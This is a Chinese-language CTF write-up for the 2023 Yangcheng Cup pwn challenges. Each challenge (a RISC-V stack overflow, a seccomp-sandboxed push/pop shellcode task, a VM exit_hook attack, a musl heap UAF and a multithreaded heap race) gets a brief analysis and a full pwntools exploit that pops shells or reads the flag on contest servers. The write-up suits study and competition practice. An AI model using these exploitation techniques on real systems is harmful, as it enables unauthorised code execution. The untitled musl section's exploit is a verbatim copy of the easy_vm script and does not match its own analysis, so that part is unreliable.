羊城杯 2023 pwn方向wp

羊城杯 2023 pwn方向wp

解题情况

本人水平有限,在队友的努力下我们队才堪堪ak了pwn题。

下图是比赛中的截图,我们应该是前四名ak掉pwn的(因为最后一题我是第四个做出来的)
QQ图片20230905220400.jpg

login

分析

risc架构的题,类似于arm,函数返回地址存于ra寄存器中。ra寄存器在函数调用另一个函数时会暂存于栈上。利用栈溢出漏洞覆盖即可。

ricv架构的题目的调试仍待学习。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
#context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so' 

#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',26427)

e=ELF(ELFpath)
#libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'textsender')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x14F2)
    '''.format(text_base, libc_base)
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

#debug()

ru('Input ur name:')
sl('/bin/sh')

ru('Input ur words')
pay='a'*0x100+p64(0x12345770)
s(pay)

it()

shellcode

分析

漏洞点在于这题一开始在提示输入yes/no的部分检查存在逻辑问题。正确的逻辑应该是针对 ye/no/其他输入 这三种情况依次进行分支处理,这里混淆了后两种情况,因此输入syscall对应的机器码也能进入shellcode分支。

允许通过的指令只有一堆pop和push,但是由于有syscall被放到了RWX的栈上,且有pop rsp,我们可以利用栈上数据将rsp降低到输入到栈上的syscall,将其pop到别的寄存器中,再升栈将syscall指令push到我们送进去的shellcode后面,从而执行read_sys。

寄存器的布置需要精心处理。

注意这题开了沙箱,read和write这两个系统调用的fd参数有一些要求,相关要求可以用seccomp-tools看到,但是这个工具必须要跑到后面开沙箱的时候才能看到。我们需要先写好shellcode过前面的检测。因此建议大家用python脚本配合seccomp-tools来分析开启的沙箱保护。

# python3 tools.py
import subprocess

command = "seccomp-tools dump '/home/wjc/Desktop/shellcode'" 


process = subprocess.Popen(command, 
                           stdin=subprocess.PIPE,  
                           stdout=subprocess.PIPE,  
                           stderr=subprocess.PIPE,  
                           text=True, 
                           shell=True)  


command_input = "\x0f\x05"  
process.stdin.write(command_input)
process.stdin.flush()

# 这里是shellcode,是从exp里扒出来的
command_input = "]]]^^U\\Z_XV\\]R[[\n"  
process.stdin.write(command_input)

command_output, command_error = process.communicate()

print("Command Output:")
print(command_output)

print("\nCommand Error:")
print(command_error)

process.stdin.close()
process.stdout.close()
process.stderr.close()

得到沙箱开启情况为:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0d 0x00 0x00000002  if (A == open) goto 0019
 0006: 0x15 0x0c 0x00 0x00000021  if (A == dup2) goto 0019
 0007: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0013
 0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0009: 0x25 0x0a 0x00 0x00000000  if (A > 0x0) goto 0020
 0010: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0019
 0011: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0012: 0x25 0x07 0x06 0x00000002  if (A > 0x2) goto 0020 else goto 0019
 0013: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0020
 0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
 0015: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0019
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0018: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

read只能用0号描述符,write只能用3号描述符,用放出来的dup2系统调用去处理就好。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/shellcode'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so' 

#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',24080)

e=ELF(ELFpath)
#libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'textsender')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x14F2)
    '''.format(text_base, libc_base)
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

#debug()

ru('[2] Input: (ye / no)')
s(asm('syscall'))

ru('[5] ======== Input Your P0P Code ========')

pay=''
pay+=asm('pop rbp')
pay+=asm('pop rbp')
pay+=asm('pop rbp')
pay+=asm('pop rsi')
pay+=asm('pop rsi')

pay+=asm('push rbp')
pay+=asm('pop rsp')
pay+=asm('pop rdx')     #syscall

pay+=asm('pop rdi')
pay+=asm('pop rax')


pay+=asm('push rsi')
pay+=asm('pop rsp')
pay+=asm('pop rbp')
pay+=asm('push rdx')



pay=pay.ljust(0x10,asm('pop rbx'))


sl(pay)

pause()
pay2=asm('nop')*0x10
pay2+=asm(shellcraft.open('/flag',0))
pay2+=asm(shellcraft.dup2(3,0))
pay2+=asm(shellcraft.read(0,'r8',0x30))
pay2+=asm(shellcraft.dup2(1,3))
pay2+=asm(shellcraft.write(3,'r8',0x30))

sl(pay2)

it()

easy_vm

分析

利用堆块残留指针获得libc地址,之后直接穿透libc去打exit hook就行了。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'

#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',25585)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'textsender')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    set $reg_rsp=$rebase(0x201040)
    set $reg_rax=$rebase(0x201038)
    set $reg_rip=$rebase(0x201048)

    b*$rebase(0x92e)
    '''.format(text_base, libc_base)
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

def push():
    return p64(1)
def pop():
    return p64(2)
def point():
    return p64(3)
def xor(imm):
    return p64(4)+p64(imm)
def value():
    return p64(5);
def add(imm):
    return p64(6)+p64(imm)
def sub(imm):
    return p64(7)+p64(imm)
def stop():
    return p64(8);


#debug()

ru('Inputs your code:')

ogg_off=0xf1147

code=''
code+=pop()+sub(0x3c4b78)   #libcbase
code+=add(ogg_off)          #onegadget
code+=push()
code+=sub(ogg_off)          #libcbase
code+=add(0x5f0f48)         #exit_hook
code+=point()
code+=sub(0)   

sl(code)

it()

分析

musl堆,存在一个UAF漏洞。关于edit受到sizelist被置零的限制问题,可以参考我以前的这篇文章:tcache七星剑法:残月 ——深入理解UAF本质

1.1.24版本的musl对于堆块的管理类似于glibc的双向链表机制,其中取堆块采用的是一个类似于glibc的古老unlink操作,没有任何安全检查。同时这个版本musl内的堆块内有libc或者elf残留地址,很容易把基址给泄露出来。

综上所述,我们直接利用UAF控制指针触发unlink后控制heaplist,去泄露environ拿到栈地址,之后铺rop链子就行。注意edit来写heaplist中指针的时候,要注意size_list有没有size,为0是写不进去的。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'

#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',25585)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'textsender')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    set $reg_rsp=$rebase(0x201040)
    set $reg_rax=$rebase(0x201038)
    set $reg_rip=$rebase(0x201048)

    b*$rebase(0x92e)
    '''.format(text_base, libc_base)
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

def push():
    return p64(1)
def pop():
    return p64(2)
def point():
    return p64(3)
def xor(imm):
    return p64(4)+p64(imm)
def value():
    return p64(5);
def add(imm):
    return p64(6)+p64(imm)
def sub(imm):
    return p64(7)+p64(imm)
def stop():
    return p64(8);


#debug()

ru('Inputs your code:')

ogg_off=0xf1147

code=''
code+=pop()+sub(0x3c4b78)   #libcbase
code+=add(ogg_off)          #onegadget
code+=push()
code+=sub(ogg_off)          #libcbase
code+=add(0x5f0f48)         #exit_hook
code+=point()
code+=sub(0)   

sl(code)

it()

heap

分析

多线程堆题,edit功能的sleep(1u)存在条件竞争漏洞,线程睡眠期间这个下标若被释放再重新申请,由于sleep之前读取了size,若新堆块size较小,则可能出现溢出问题。

子线程的堆段比较靠近libc,且基址的后三个字节都是0。利用堆溢出泄露地址时需要注意。同时,由于这题是“捆绑销售”式的堆题,有属性堆块和内容堆块这两种不同的堆块,所以溢出的时候注意不要把这个溢出堆块的信息块给覆写了,否则show去泄露堆地址时是找不到这个堆块的。

子线程的堆段里有main_arena,可以故技重施,覆写属性堆块内存放的内容堆块指针,指向存放main_arena的地址泄露libc地址。

strncpy操作比较特殊,覆写长度取决于n而非src的长度,不足的长度会被\x00补齐,所以申请堆块的时候size填多少要好好斟酌。

每次操作之后小sleep一下,edit和其条件竞争行为之后要sleep一秒以上,防止线程打架。

最后如上去打strtok的libcgot就行。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/heap'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.35-0ubuntu3.1_amd64/libc.so.6' 

p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('tcp.cloud.dasctf.com',24080)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'textsender')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x14f8)
    b*$rebase(0x1823)
    '''.format(text_base, libc_base)
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


def add(content):
    ru('chocie:\n')
    sl('1 '+content)

def show(idx):
    ru('chocie:\n')
    sl('2 '+str(idx))

def edit(idx,content):
    ru('chocie:\n')
    sl('3 '+str(idx)+':'+content)

def dele(idx):
    ru('chocie:\n')
    sl('4 '+str(idx))


# for i in range(9):
#     add(0x58*chr(0x61+i))

# for i in range(8):
#     dele(i)
# debug()
# dele(8)

add('a'*0x58)   #0  
sleep(0.1)
add('t'*0x58)   #1  
sleep(0.1)
add('b'*0x68)   #2
sleep(0.1)

add('a'*0x58)   #3  
sleep(0.1)
add('t'*0x58)   #4  
sleep(0.1)
add('b'*0x62)   #5
sleep(0.1)

add('a'*0x58)   #6  
sleep(0.1)
add('t'*0x58)   #7  
sleep(0.1)
add('b'*0x63)   #8
sleep(0.1)

add('\x66'*0x60)    #10     content

dele(0)
sleep(0.1)
dele(2)
sleep(0.1)

add('B'*0x68)   #0  behind
sleep(0.1)
add('A'*0x58)   #2  front
sleep(0.1)

dele(3)
sleep(0.1)
dele(5)
sleep(0.1)

add('B'*0x62)   #3  behind
sleep(0.1)
add('A'*0x58)   #5  front
sleep(0.1)

dele(6)
sleep(0.1)
dele(8)
sleep(0.1)

add('B'*0x63)   #6  behind
sleep(0.1)
add('A'*0x58)   #8  front
sleep(0.1)

######################## leak heapbase ########################

#dele(7)
#sleep(0.1)
dele(8)
sleep(0.1)

edit(6,'\x20'*0x63)
sleep(0.1)
dele(6)
sleep(0.1)
add('x'*0x58)   #0

sleep(2)
show(6)

heapbase=u64(ru('\x7f')[-3:].ljust(8,'\x00'))*0x1000000 
LOGTOOL['heapbase']=heapbase

######################## leak libcbase ########################

main_arena_value_addr=heapbase+0x8a0

sl('hahaha')

#5  0x58
#4  0x58
#3  0x62

dele(5)
sleep(0.1)

edit(3,'X'*0x60+p16(0x8a0))
sleep(0.1)
dele(3)
sleep(0.1)

add('x'*0x58)   #3

sleep(2)
show(4)

libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x219c80
LOGTOOL['libcbase']=libcbase

######################## attack libcgot ########################

sl('hahaha')

strtok_libcgot=libcbase+0x219058
system_addr=libcbase+libc.symbols['system']
puts_libcgot_value=libcbase+0x1b2220

LOGTOOL['strtok_libcgot']=strtok_libcgot
LOGTOOL['system_addr']=system_addr

#2  0x58
#1  0x58
#0  0x62

dele(2)
sleep(0.1)

edit(0,'X'*0x60+p64(strtok_libcgot-0x50))
sleep(0.1)
dele(0)
sleep(0.1)

add('x'*0x58)   #3

sleep(2)

sl('hahaha')

edit(1,0x50*'a'+p64(system_addr))
sleep(2)

ru('chocie:\n')
sl('/bin/sh')

# LOGALL()
# #pause()
# debug()


it()
posted @ 2023-09-05 22:33  Jmp·Cliff  阅读(300)  评论(0编辑  收藏  举报